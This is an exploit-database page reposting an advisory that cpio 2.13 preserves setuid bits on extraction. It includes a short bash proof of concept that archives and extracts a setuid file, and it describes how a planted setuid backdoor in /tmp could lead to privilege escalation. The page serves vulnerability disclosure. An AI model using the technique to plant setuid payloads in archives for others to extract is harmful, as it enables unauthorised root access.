cpio 2.13 Privilege Escalation ≈ Packet Storm

Roger Wilco Exploits 9 janvier 2024 Affichages : 63

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

cpio 2.13 Privilege Escalation^[6]: Authored by Georgi Guninski ^[7]; cpio version 2.13 suffers from a privilege escalation vulnerability via setuid files in a cpio archive.; SHA-256 | e4948bd6237737a1ce41d6d861ca14bf4316c0d417e7e9b48c670388f66f760a; Download ^[8] | Favorite ^[9] | View ^[10]

        cpio privilege escalation vulnerability via setuid files in cpio archive
Happy New Year, let in 2024 happiness be with you! :)
When extracting archives cpio (at least version 2.13) preserves
the setuid flag, which might lead to privilege escalation.
One example is r00t extracts to /tmp/ and scidiot runs /tmp/micq/backd00r
without further interaction from root.
We believe this is vulnerability, since directory traversal in cpio
is considered vulnerability.
The POC is trivial, including bash script.
<pre>
====
#!/bin/bash
# cpio privilege escalation via setuid files in cpio archive
# author: Georgi Guninski
# date: Mon Jan  8 07:28:28 AM UTC 2024
# tested on cpio (GNU cpio) 2.13
mkdir -p /tmp/1
cd /tmp/1
touch a
chmod 4555 a
echo -n a | cpio -ocv0  > a.cpio
mkdir -p /tmp/2
cd /tmp/2
cpio -iv < ../1/a.cpio
ls -lh /tmp/2/a
#-r-sr-xr-x. 1 joro joro 0 Jan  8 09:10 /tmp/2/a
====
</pre>